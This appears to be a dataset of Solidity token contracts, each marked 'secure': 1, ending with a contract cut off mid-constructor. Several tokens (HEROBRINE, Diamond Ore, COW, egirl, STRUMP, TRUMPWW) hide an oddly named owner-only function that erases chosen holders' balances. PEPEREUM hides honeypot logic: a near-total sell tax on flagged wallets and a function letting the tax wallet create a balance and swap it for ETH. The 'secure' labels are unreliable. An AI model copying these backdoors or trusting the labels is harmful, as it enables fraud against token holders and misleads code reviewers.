files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Herobrine is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable word;\n\n constructor() {\n _name = \"HEROBRINE\";\n\n _symbol = \"HEROBRINE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 984000000;\n\n word = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == word, \"Not allowed\");\n\n _;\n }\n\n function appeal(address[] memory frog) public onlyOwner {\n for (uint256 i = 0; i < frog.length; i++) {\n address account = frog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_608.sol", "secure": 1, "size_bytes": 4350 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PEPEREUM is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3099f3c): PEPEREUM._decimals should be constant \n\t// Recommendation for 3099f3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a565e0a): PEPEREUM._totalSupply should be immutable \n\t// Recommendation for a565e0a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: a50dbb8): PEPEREUM._name should be constant \n\t// Recommendation for a50dbb8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 651e404): PEPEREUM._symbol should be constant \n\t// Recommendation for 651e404: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ed5936): PEPEREUM.uniV2Router should be constant \n\t// Recommendation for 0ed5936: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b344ec): PEPEREUM._taxWallet should be immutable \n\t// Recommendation for 6b344ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function approvesto() external {}\n\n function opensat() external {}\n\n function increasesto() public {}\n\n function axewsfor() external {}\n\n function tomodification(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function tomaximization(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_609.sol", "secure": 1, "size_bytes": 7075 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ThreeDEarth is Context, ERC20, Ownable {\n constructor() ERC20(\"3D Earth\", \"3DE\") {\n _mint(_msgSender(), 1 * 10 ** 4);\n }\n}", "file_name": "solidity_code_61.sol", "secure": 1, "size_bytes": 407 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Minecraftdiamondore is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable inspector;\n\n constructor() {\n _name = \"Diamond Ore\";\n\n _symbol = \"DIAMOND\";\n\n _decimals = 18;\n\n uint256 initialSupply = 439000000;\n\n inspector = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == inspector, \"Not allowed\");\n\n _;\n }\n\n function mastermind(address[] memory undermine) public onlyOwner {\n for (uint256 i = 0; i < undermine.length; i++) {\n address account = undermine[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_610.sol", "secure": 1, "size_bytes": 4394 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Minecraftcow is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable skin;\n\n constructor() {\n _name = \"Minecraft Cow\";\n\n _symbol = \"COW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 579000000;\n\n skin = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == skin, \"Not allowed\");\n\n _;\n }\n\n function party(address[] memory expertise) public onlyOwner {\n for (uint256 i = 0; i < expertise.length; i++) {\n address account = expertise[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_611.sol", "secure": 1, "size_bytes": 4365 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Egirl is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable bare;\n\n constructor() {\n _name = \"egirl\";\n\n _symbol = \"egirl\";\n\n _decimals = 18;\n\n uint256 initialSupply = 392000000;\n\n bare = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == bare, \"Not allowed\");\n\n _;\n }\n\n function wolf(address[] memory trade) public onlyOwner {\n for (uint256 i = 0; i < trade.length; i++) {\n address account = trade[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_612.sol", "secure": 1, "size_bytes": 4339 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract STRUMP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ology;\n\n constructor() {\n _name = \"SUPPROT TRUMP\";\n\n _symbol = \"STRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 830000000;\n\n ology = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ology, \"Not allowed\");\n\n _;\n }\n\n function scho(address[] memory hroug) public onlyOwner {\n for (uint256 i = 0; i < hroug.length; i++) {\n address account = hroug[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_613.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MyToken is ERC20 {\n constructor() ERC20(\"MyToken\", \"MTK\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_614.sol", "secure": 1, "size_bytes": 271 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUMPWW is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable poin;\n\n constructor() {\n _name = \"TRUMP WILL WIN\";\n\n _symbol = \"TRUMPWW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 650000000;\n\n poin = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == poin, \"Not allowed\");\n\n _;\n }\n\n function cerco(address[] memory solium) public onlyOwner {\n for (uint256 i = 0; i < solium.length; i++) {\n address account = solium[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_615.sol", "secure": 1, "size_bytes": 4356 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MARS6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eec4bd0): MARS6900._taxWallet should be immutable \n\t// Recommendation for eec4bd0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2741d4e): MARS6900._initialBuyTax should be constant \n\t// Recommendation for 2741d4e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa26514): MARS6900._initialSellTax should be constant \n\t// Recommendation for fa26514: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe0a844): MARS6900._reduceBuyTaxAt should be constant \n\t// Recommendation for fe0a844: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ddbf73): MARS6900._reduceSellTaxAt should be constant \n\t// Recommendation for 1ddbf73: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f435813): MARS6900._preventSwapBefore should be constant \n\t// Recommendation for f435813: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mars6900\";\n\n string private constant _symbol = unicode\"MARS6900\";\n\n uint256 public _maxTxAmount = 6900000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e78ea8): MARS6900._taxSwapThreshold should be constant \n\t// Recommendation for 8e78ea8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fce2b93): MARS6900._maxTaxSwap should be constant \n\t// Recommendation for fce2b93: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = 